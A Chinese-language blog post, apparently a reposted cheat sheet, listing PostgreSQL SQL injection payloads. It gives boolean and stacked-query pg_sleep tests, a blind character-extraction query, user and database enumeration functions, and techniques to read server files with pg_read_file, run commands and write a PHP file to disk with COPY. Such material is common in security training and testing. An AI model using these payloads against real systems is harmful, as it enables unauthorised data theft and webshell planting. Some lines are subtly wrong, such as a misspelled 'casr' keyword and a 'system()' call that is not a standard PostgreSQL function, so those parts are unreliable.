zoukankan      html  css  js  c++  java
  • 关于PostgreSQL的SQL注入必知必会

    一、postgresql简介

    postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。

    二、postgresql的SQL注入:(注意注释符号--+)

    1、简单的有回显的SQL注入不用多说,还是基本的SQL语句直接查询就可以了。

    1 #简单的payload
    2 parameter = 2-1
    3 parameter = 1 and 1 = 2
    4 parameter = 1 or 1 = 2-1
    5 parameter = 1' and '1'='1#and -> or
    6 parameter = 1' and '1'='2#and -> or

    或者引号区分发(适用于字符串)

    1 parameter = 1    #Success
    2 parameter = 1'   #Failed
    3 parameter = 1''  #Success

    2、一般的基于时间的盲注,可以参考下面的办法:

    1 #postgresql 的几个简单判断payload:
    2 parameter=1;select pg_sleep(5)
    3 parameter=1';select pg_sleep(5)
    4 parameter=1');select pg_sleep(5)
    5 parameter=1);select pg_sleep(5)
    6 parameter=1));select pg_sleep(5)
    7 parameter=select pg_sleep(5)

    盲注的逐位猜解

    1 SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({current_user}),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+

    3、常见的函数查看一些基本信息:

    1 SELECT version() #查看版本信息
    2 #查看用户
    3 SELECT user;
    4 SELECT current_user;
    5 SELECT session_user;
    6 SELECT usename FROM pg_user;#这里是usename不是username
    7 SELECT getpgusername();
    8 #查看当前数据库
    9 SELECT current_database()

    4、postgresql下的if

    1 #mysql的
    2 if(expr1,result1,result2);
    3 #如果expr1满足,result1,否则result2
    4 
    5 #对于postgresql
    6 select case when(expr1) then result1 else result2 end;
    7 
    8 #举个例子
    9 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

    5、其他

    (1)读取文件:

    1 select pg_read_file(filepath+filename);

    (2)执行命令:

    1 select system("comamnd_string");

    (3)写入文件:

    1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
  • 相关阅读:
    jquery的动画函数animate()讲解一
    用js来实现页面的换肤功能(带cookie记忆)
    Extjs换肤+cookie皮肤记忆功能
    jquery换肤
    bootstrap的alert提示框的关闭后再显示问题
    jquery.cookie中的操作
    CSS中设置margin:0 auto; 水平居中无效的原因分析
    jQuery 遍历 json 方法大全
    jquery.min.map 404 (Not Found)出错的原因及解决办法
    AJAX 跨域请求的解决办法:使用 JSONP获取JSON数据
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8446874.html
Copyright © 2011-2022 走看看